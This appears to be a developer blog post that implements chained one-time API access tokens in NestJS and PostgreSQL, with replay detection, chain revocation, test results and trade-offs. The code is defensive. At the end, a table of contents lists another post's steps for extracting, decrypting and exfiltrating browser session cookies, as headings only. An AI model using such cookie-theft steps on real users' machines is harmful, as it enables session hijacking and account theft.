import { NewToken, RequestContext, TokenStatus, TrailEntry } from './one-time-token.types';

@Injectable()
export class OneTimeTokenRepository {
  constructor(@Inject(PG_POOL) private readonly db: Pool) {}

  async createChain(chainId: string, userId: string, first: NewToken): Promise<void> {
    await this.db.query(
      `WITH chain AS (
         INSERT INTO ota_chains (id, user_id) VALUES ($1, $2) RETURNING id
       )
       INSERT INTO ota_tokens (id, chain_id, seq, expires_at)
       SELECT $3, id, 1, to_timestamp($4) FROM chain`,
      [chainId, userId, first.jti, first.expiresAt],
    );
  }

  /**
   * Burns the token and inserts its successor in a single statement.
   * The UPDATE takes a row lock, so of any number of concurrent requests
   * presenting the same token, exactly one gets a row back.
   */
  async burnAndIssue(jti: string, next: NewToken, context: RequestContext): Promise<boolean> {
    const { rowCount } = await this.db.query(
      `WITH burned AS (
         UPDATE ota_tokens t
            SET status = 'used', used_at = now(),
                used_for = $2, request_id = $3, client_ip = $4
          WHERE t.id = $1
            AND t.status = 'active'
            AND t.expires_at > now()
            AND EXISTS (SELECT 1 FROM ota_chains c
                         WHERE c.id = t.chain_id AND c.revoked_at IS NULL)
        RETURNING t.id, t.chain_id, t.seq
       )
       INSERT INTO ota_tokens (id, chain_id, parent_id, seq, expires_at)
       SELECT $5, chain_id, id, seq + 1, to_timestamp($6) FROM burned`,
      [jti, context.usedFor, context.requestId, context.clientIp, next.jti, next.expiresAt],
    );
    return rowCount === 1;
  }

  async findStatus(jti: string): Promise<TokenStatus | undefined> {
    const { rows } = await this.db.query<{ status: TokenStatus }>(
      `SELECT status FROM ota_tokens WHERE id = $1`,
      [jti],
    );
    return rows[0]?.status;
  }

  /** Returns false if the chain was already revoked. */
  async revokeChain(chainId: string, reason: string): Promise<boolean> {
    const { rowCount } = await this.db.query(
      `WITH revoked AS (
         UPDATE ota_chains SET revoked_at = now(), revoke_reason = $2
          WHERE id = $1 AND revoked_at IS NULL
        RETURNING id
       )
       UPDATE ota_tokens t SET status = 'revoked'
         FROM revoked
        WHERE t.chain_id = revoked.id AND t.status = 'active'`,
      [chainId, reason],
    );
    return (rowCount ?? 0) > 0;
  }

  async findTrail(chainId: string): Promise<TrailEntry[]> {
    const { rows } = await this.db.query<TrailEntry>(
      `SELECT seq, status,
              used_for   AS "usedFor",
              request_id AS "requestId",
              host(client_ip) AS "clientIp",
              used_at    AS "usedAt"
         FROM ota_tokens
        WHERE chain_id = $1
        ORDER BY seq`,
      [chainId],
    );
    return rows;
  }
}

Token service

src/auth/tokens/one-time-token.service.ts

import { Inject, Injectable, Logger, UnauthorizedException } from '@nestjs/common';
import { ConfigType } from '@nestjs/config';
import { JwtService } from '@nestjs/jwt';
import { randomUUID } from 'node:crypto';
import { authConfig } from '../auth.config';
import { OneTimeTokenRepository } from './one-time-token.repository';
import { NewToken, RequestContext, Session, TokenClaims, TrailEntry } from './one-time-token.types';

export interface Rotation {
  session: Session;
  nextToken: string;
}

@Injectable()
export class OneTimeTokenService {
  private readonly logger = new Logger(OneTimeTokenService.name);

  constructor(
    private readonly tokens: OneTimeTokenRepository,
    private readonly jwt: JwtService,
    @Inject(authConfig.KEY) private readonly config: ConfigType<typeof authConfig>,
  ) {}

  /** Starts a new chain for an authenticated user and returns its first token. */
  async startChain(userId: string): Promise<string> {
    const chainId = randomUUID();
    const first = this.newToken();
    await this.tokens.createChain(chainId, userId, first);
    return this.sign({ userId, chainId, seq: 1 }, first);
  }

  /** Burns the presented token and returns the caller's session with the next token. */
  async rotate(presented: string, context: RequestContext): Promise<Rotation> {
    const claims = await this.verifySignature(presented);
    const session: Session = { userId: claims.sub, chainId: claims.cid, seq: claims.seq };

    const next = this.newToken();
    const burned = await this.tokens.burnAndIssue(claims.jti, next, context);
    if (!burned) {
      await this.revokeIfReplayed(claims, context);
      throw new UnauthorizedException();
    }

    return { session, nextToken: await this.sign({ ...session, seq: session.seq + 1 }, next) };
  }

  revokeChain(chainId: string, reason: string): Promise<boolean> {
    return this.tokens.revokeChain(chainId, reason);
  }

  trail(chainId: string): Promise<TrailEntry[]> {
    return this.tokens.findTrail(chainId);
  }

  private newToken(): NewToken {
    return {
      jti: randomUUID(),
      expiresAt: Math.floor(Date.now() / 1000) + this.config.tokenTtlSeconds,
    };
  }

  private sign(session: Session, token: NewToken): Promise<string> {
    return this.jwt.signAsync(
      { sub: session.userId, cid: session.chainId, seq: session.seq, exp: token.expiresAt },
      { jwtid: token.jti },
    );
  }

  /**
   * Checks the signature only. Expiry is enforced by the burn statement, so
   * that a token which is both expired and already spent still counts as a
   * replay instead of being dismissed as "just expired".
   */
  private async verifySignature(token: string): Promise<TokenClaims> {
    try {
      return await this.jwt.verifyAsync<TokenClaims>(token, { ignoreExpiration: true });
    } catch {
      throw new UnauthorizedException();
    }
  }

  /** A spent token coming back means two parties hold the same chain. */
  private async revokeIfReplayed(claims: TokenClaims, context: RequestContext): Promise<void> {
    const status = await this.tokens.findStatus(claims.jti);
    if (status !== 'used') return; // expired, or the chain is already revoked

    await this.tokens.revokeChain(claims.cid, `replay of seq ${claims.seq}`);
    this.logger.warn({
      event: 'one_time_token_replay',
      chainId: claims.cid,
      userId: claims.sub,
      seq: claims.seq,
      ...context,
    });
  }
}

ignoreExpiration: true looks alarming, so to be clear: expiry is enforced, by t.expires_at > now() in the burn statement. Checking it there keeps an expired, already-spent token recognisable as a replay.

Guard

Registered globally, so every route is protected unless marked @Public().

src/auth/guards/one-time-token.guard.ts

import { CanActivate, ExecutionContext, Injectable, UnauthorizedException } from '@nestjs/common';
import { Reflector } from '@nestjs/core';
import { Request, Response } from 'express';
import { randomUUID } from 'node:crypto';
import { isIP } from 'node:net';
import { IS_PUBLIC } from '../decorators/public.decorator';
import { OneTimeTokenService } from '../tokens/one-time-token.service';
import { NEXT_TOKEN_HEADER } from '../tokens/one-time-token.types';
import { extractBearerToken } from '../utils/bearer-token.util';

@Injectable()
export class OneTimeTokenGuard implements CanActivate {
  constructor(
    private readonly reflector: Reflector,
    private readonly tokens: OneTimeTokenService,
  ) {}

  async canActivate(context: ExecutionContext): Promise<boolean> {
    const isPublic = this.reflector.getAllAndOverride<boolean>(IS_PUBLIC, [
      context.getHandler(),
      context.getClass(),
    ]);
    if (isPublic) return true;

    const http = context.switchToHttp();
    const request = http.getRequest<Request>();
    const response = http.getResponse<Response>();

    const token = extractBearerToken(request);
    if (!token) throw new UnauthorizedException();

    const { session, nextToken } = await this.tokens.rotate(token, {
      usedFor: `${request.method} ${request.route?.path ?? request.path}`,
      requestId: request.header('x-request-id') ?? randomUUID(),
      clientIp: request.ip && isIP(request.ip) ? request.ip : null,
    });

    // Set here rather than in an interceptor: the next token has to go out
    // even when the handler or a pipe throws afterwards.
    response.setHeader(NEXT_TOKEN_HEADER, nextToken);
    response.setHeader('Cache-Control', 'no-store');
    request.auth = session;
    return true;
  }
}

Auth service and controller

UsersRepository stands for your existing user lookup. It returns the user's id and passwordHash.

src/auth/auth.service.ts

import { Injectable, UnauthorizedException } from '@nestjs/common';
import { UsersRepository } from '../users/users.repository';
import { LoginDto } from './dto/login.dto';
import { OneTimeTokenService } from './tokens/one-time-token.service';
import { Session, TrailEntry } from './tokens/one-time-token.types';
import { hashPassword, verifyPassword } from './utils/password.util';

// Verified against when the email is unknown, so that both outcomes cost
// one scrypt run and response time does not reveal which emails exist.
const UNKNOWN_USER_HASH = hashPassword('unknown-user');

@Injectable()
export class AuthService {
  constructor(
    private readonly users: UsersRepository,
    private readonly tokens: OneTimeTokenService,
  ) {}

  /** Verifies the credentials and returns the first token of a new chain. */
  async login({ email, password }: LoginDto): Promise<string> {
    const user = await this.users.findCredentialsByEmail(email);
    const valid = await verifyPassword(password, user?.passwordHash ?? (await UNKNOWN_USER_HASH));
    if (!user || !valid) throw new UnauthorizedException('Invalid email or password');

    return this.tokens.startChain(user.id);
  }

  async logout(session: Session): Promise<void> {
    await this.tokens.revokeChain(session.chainId, 'logout');
  }

  async describe(session: Session): Promise<Session & { trail: TrailEntry[] }> {
    return { ...session, trail: await this.tokens.trail(session.chainId) };
  }
}

src/auth/auth.controller.ts

import { Body, Controller, Get, HttpCode, HttpStatus, Post } from '@nestjs/common';
import { AuthService } from './auth.service';
import { CurrentSession } from './decorators/current-session.decorator';
import { Public } from './decorators/public.decorator';
import { LoginDto } from './dto/login.dto';
import { Session } from './tokens/one-time-token.types';

@Controller('auth')
export class AuthController {
  constructor(private readonly auth: AuthService) {}

  @Public()
  @Post('login')
  @HttpCode(HttpStatus.OK)
  async login(@Body() dto: LoginDto): Promise<{ token: string }> {
    return { token: await this.auth.login(dto) };
  }

  @Post('logout')
  @HttpCode(HttpStatus.NO_CONTENT)
  logout(@CurrentSession() session: Session): Promise<void> {
    return this.auth.logout(session);
  }

  /** The current session and its chain, read back as an audit trail. */
  @Get('session')
  session(@CurrentSession() session: Session) {
    return this.auth.describe(session);
  }
}

Module

src/auth/auth.module.ts

import { Module } from '@nestjs/common';
import { ConfigModule, ConfigType } from '@nestjs/config';
import { APP_GUARD } from '@nestjs/core';
import { JwtModule } from '@nestjs/jwt';
import { UsersRepository } from '../users/users.repository';
import { authConfig } from './auth.config';
import { AuthController } from './auth.controller';
import { AuthService } from './auth.service';
import { OneTimeTokenGuard } from './guards/one-time-token.guard';
import { OneTimeTokenRepository } from './tokens/one-time-token.repository';
import { OneTimeTokenService } from './tokens/one-time-token.service';

@Module({
  imports: [
    ConfigModule.forFeature(authConfig),
    JwtModule.registerAsync({
      imports: [ConfigModule.forFeature(authConfig)],
      inject: [authConfig.KEY],
      // No expiresIn: every token carries an explicit `exp` that is also
      // written to its row, so the JWT and the database always agree.
      useFactory: (config: ConfigType<typeof authConfig>) => ({
        secret: config.jwtSecret,
        signOptions: { algorithm: 'HS256' },
        verifyOptions: { algorithms: ['HS256'] },
      }),
    }),
  ],
  controllers: [AuthController],
  providers: [
    AuthService,
    UsersRepository,
    OneTimeTokenService,
    OneTimeTokenRepository,
    // Global: every route is protected unless it is marked @Public().
    { provide: APP_GUARD, useClass: OneTimeTokenGuard },
  ],
})
export class AuthModule {}

Supporting files: types, config, DTO, decorators, utils, users, database

src/auth/tokens/one-time-token.types.ts

export const NEXT_TOKEN_HEADER = 'X-Next-Token';

export type TokenStatus = 'active' | 'used' | 'revoked';

/** Claims carried by every one-time access token. */
export interface TokenClaims {
  sub: string; // user id
  cid: string; // chain id
  seq: number; // position in the chain
  jti: string; // token id, primary key of its row
  exp: number;
}

/** What a request handler knows about the caller. */
export interface Session {
  userId: string;
  chainId: string;
  seq: number;
}

/** Recorded on the token row when it is burned. */
export interface RequestContext {
  usedFor: string;
  requestId: string;
  clientIp: string | null;
}

export interface NewToken {
  jti: string;
  expiresAt: number; // epoch seconds
}

export interface TrailEntry {
  seq: number;
  status: TokenStatus;
  usedFor: string | null;
  requestId: string | null;
  clientIp: string | null;
  usedAt: Date | null;
}

declare module 'express-serve-static-core' {
  interface Request {
    auth?: Session;
  }
}

src/auth/auth.config.ts

import { registerAs } from '@nestjs/config';

export const authConfig = registerAs('auth', () => {
  const jwtSecret = process.env.JWT_SECRET ?? '';
  if (jwtSecret.length < 32) {
    throw new Error('JWT_SECRET must be at least 32 characters long');
  }

  const tokenTtlSeconds = Number(process.env.TOKEN_TTL_SECONDS ?? 60);
  if (!Number.isInteger(tokenTtlSeconds) || tokenTtlSeconds < 1) {
    throw new Error('TOKEN_TTL_SECONDS must be a positive integer');
  }

  return { jwtSecret, tokenTtlSeconds };
});

src/auth/dto/login.dto.ts

import { IsEmail, IsString, MaxLength, MinLength } from 'class-validator';

export class LoginDto {
  @IsEmail()
  @MaxLength(254)
  email!: string;

  @IsString()
  @MinLength(8)
  @MaxLength(128)
  password!: string;
}

src/auth/decorators/public.decorator.ts

import { SetMetadata } from '@nestjs/common';

export const IS_PUBLIC = 'isPublic';

/** Opts a route out of the global one-time token guard. */
export const Public = () => SetMetadata(IS_PUBLIC, true);

src/auth/decorators/current-session.decorator.ts

import { createParamDecorator, ExecutionContext } from '@nestjs/common';
import { Request } from 'express';
import { Session } from '../tokens/one-time-token.types';

export const CurrentSession = createParamDecorator(
  (_: unknown, context: ExecutionContext): Session =>
    context.switchToHttp().getRequest<Request>().auth as Session,
);

src/auth/utils/bearer-token.util.ts

import { Request } from 'express';

export function extractBearerToken(request: Request): string | undefined {
  const [scheme, token] = request.headers.authorization?.split(' ') ?? [];
  return scheme?.toLowerCase() === 'bearer' && token ? token : undefined;
}

src/auth/utils/password.util.ts

import { randomBytes, scrypt, timingSafeEqual } from 'node:crypto';
import { promisify } from 'node:util';

const scryptAsync = promisify(scrypt) as (password: string, salt: Buffer, keylen: number) => Promise<Buffer>;
const KEY_LENGTH = 64;

/** Returns "salt:hash", both hex encoded. */
export async function hashPassword(password: string): Promise<string> {
  const salt = randomBytes(16);
  const hash = await scryptAsync(password, salt, KEY_LENGTH);
  return `${salt.toString('hex')}:${hash.toString('hex')}`;
}

export async function verifyPassword(password: string, stored: string): Promise<boolean> {
  const [salt, hash] = stored.split(':').map((part) => Buffer.from(part, 'hex'));
  if (!salt?.length || hash?.length !== KEY_LENGTH) return false;
  return timingSafeEqual(hash, await scryptAsync(password, salt, KEY_LENGTH));
}

src/users/users.repository.ts

import { Inject, Injectable } from '@nestjs/common';
import { Pool } from 'pg';
import { PG_POOL } from '../database/database.module';

export interface UserCredentials {
  id: string;
  passwordHash: string;
}

@Injectable()
export class UsersRepository {
  constructor(@Inject(PG_POOL) private readonly db: Pool) {}

  async findCredentialsByEmail(email: string): Promise<UserCredentials | undefined> {
    const { rows } = await this.db.query<UserCredentials>(
      `SELECT id, password_hash AS "passwordHash" FROM users WHERE email = lower($1)`,
      [email],
    );
    return rows[0];
  }
}

src/database/database.module.ts

import { Global, Inject, Logger, Module, OnApplicationShutdown } from '@nestjs/common';
import { ConfigService } from '@nestjs/config';
import { Pool } from 'pg';

export const PG_POOL = Symbol('PG_POOL');

@Global()
@Module({
  providers: [
    {
      provide: PG_POOL,
      inject: [ConfigService],
      useFactory: (config: ConfigService): Pool => {
        const pool = new Pool({ connectionString: config.getOrThrow<string>('DATABASE_URL') });
        // Without a listener, an error on an idle connection (database restart,
        // failover) is an unhandled 'error' event and takes the process down.
        pool.on('error', (error) => new Logger('Database').error(error.message));
        return pool;
      },
    },
  ],
  exports: [PG_POOL],
})
export class DatabaseModule implements OnApplicationShutdown {
  constructor(@Inject(PG_POOL) private readonly pool: Pool) {}

  async onApplicationShutdown(): Promise<void> {
    await this.pool.end();
  }
}

The client: one request in flight at a time

src/client/one-time-client.ts

/** Browser/Node client: one request in flight at a time, token swapped on every response. */
export class OneTimeClient {
  private queue: Promise<unknown> = Promise.resolve();

  constructor(
    private readonly baseUrl: string,
    private token: string,
  ) {}

  request(path: string, init: RequestInit = {}): Promise<Response> {
    const send = async (): Promise<Response> => {
      const response = await fetch(this.baseUrl + path, {
        ...init,
        headers: { ...init.headers, Authorization: `Bearer ${this.token}` },
      });
      this.token = response.headers.get('x-next-token') ?? this.token;
      return response;
    };

    const result = this.queue.then(send, send);
    this.queue = result.catch(() => undefined);
    return result;
  }
}

For browsers on another origin, expose the header: app.enableCors({ exposedHeaders: ['X-Next-Token'] }).

Tested behaviour

Run against PostgreSQL 18 through a real NestJS HTTP server:

Scenario	Result
Sequential requests, each with the previous response's token	all succeed
Request that fails validation (400)	still returns the next token
Replay of a spent token	401, chain revoked
Attacker uses the token first	one request succeeds, the victim's call revokes the chain
10 parallel requests with the same token	exactly 1 succeeds, one successor issued, chain revoked
The same 10 calls through `OneTimeClient`	all succeed
Tampered payload, wrong key, `alg: none`	401, chain untouched
Token that expires unused	401, chain not revoked
Spent token replayed after expiry	401, chain revoked
Logout	chain revoked

The parallel case proves the atomic burn holds under a real race. It also shows the cost: a client that fires requests in parallel logs its own user out.

Trade-offs

Parallel requests. One token cannot serve five simultaneous calls. Serialize in the client, issue a small pool of tokens, or use one-time tokens only for sensitive operations.
Lost responses. If the server burns T3 and the response carrying T4 never arrives, the client's retry looks like an attack. The usual answer is a short grace window keyed on an Idempotency-Key, the same idea as Auth0's rotation overlap period and Okta's grace period (30 seconds by default). A wider window means fewer false logouts and slower detection.
A 60-second token is a 60-second idle limit. The only live token is the one from the last response. Pair the chain with a rotating refresh token so an idle session can resume.
Multiple tabs and devices. Each needs its own chain, or tabs must share one through a worker or a lock.
A write on every request. You give up the stateless verification that usually makes JWTs attractive. Plan capacity for a hot table and prune old rows.
An attacker still on the device. Malware or XSS running next to the legitimate client can read each new token as it arrives. One-time tokens limit replay from elsewhere.
False positives are user-facing. Every client bug in token handling shows up as a logout. Watch the replay metric after each release.

When to use it

	Access token only	Access + refresh	One-time, chained
Replay window	token lifetime	access token lifetime	until the next legitimate request
Theft detection	none	at refresh time	on the next request from either party
Server state	none	refresh tokens	every request
Parallel requests	free	free	queue, pool or hybrid
Audit trail	separate logging	separate logging	built in

Good fit: admin tools, payments and payouts, data exports, sequential server-to-server clients, CLIs. Poor fit: read-heavy SPAs with many parallel calls, high-throughput public APIs, anything that needs CDN caching.

For most teams the realistic version is a hybrid: short-lived access tokens with rotating refresh tokens for ordinary traffic, and a chained one-time token for the few operations where a replay would really hurt.

Sender-constrained tokens (DPoP, mTLS, Chrome's Device Bound Session Credentials) attack the same problem from the other side, by binding a token to a key the attacker does not have. The two approaches combine well.

Closing

One-time tokens assume the token will leak, make it worthless after one use, and make every reuse loud. You pay in statefulness and client complexity.

A token that can be replayed is a password with a timer.

Would you run this for every request, or only for the dangerous ones?

DEV Community: Marius Trelea

Browser Cookies: What Are They, How Are They Used, and How Can They Be Stolen?

1. What Are Cookies?

1.1. Session Cookie Names Depend on the Technology

2. What Are Cookies Used For?

3. How Can Cookies Be Stolen?

Method A: Cookie Hijacking (Client/Web Level)

Method B: Filesystem Extraction

Where Are Cookies Stored Locally?

4. Local Database Locations Across Operating Systems

4.1. Sign In to the Test Website

4.2. Find the Chromium Cookies Database

4.3. Make a Copy of the Database

4.4. Inspect the Tables and Schema

4.5. Inspect a Few Rows

4.6. Find the Website’s Cookie Record

4.7. Inspect the Encrypted Value

4.8. Understanding the Decryption Step

4.9. Why a Session Cookie Is Sensitive

4.10. Test Access to a Protected Endpoint

5. Automating the Whole Flow with a Go Tool

5.1. Build and Usage

5.2. The Output Format

5.3. How It Mirrors the Manual Steps

5.4. Failing Safe

6. From Local Dump to Network Exfiltration

6.1. The Conceptual Step

6.2. How Real Malware Uses This Exact Flow

6.3. Detection and Hardening

6.4. Closing

One-Time Access Tokens: What If Every API Request Burned Its Token?

Why tokens are the target

1. Access token only

2. Access + refresh tokens

3. One-time access tokens

When a token is stolen

The chain is an audit trail

Implementation: NestJS + PostgreSQL

Migration

Repository

Token service

Guard

Auth service and controller

Module

Tested behaviour

Trade-offs

When to use it

Closing

Sources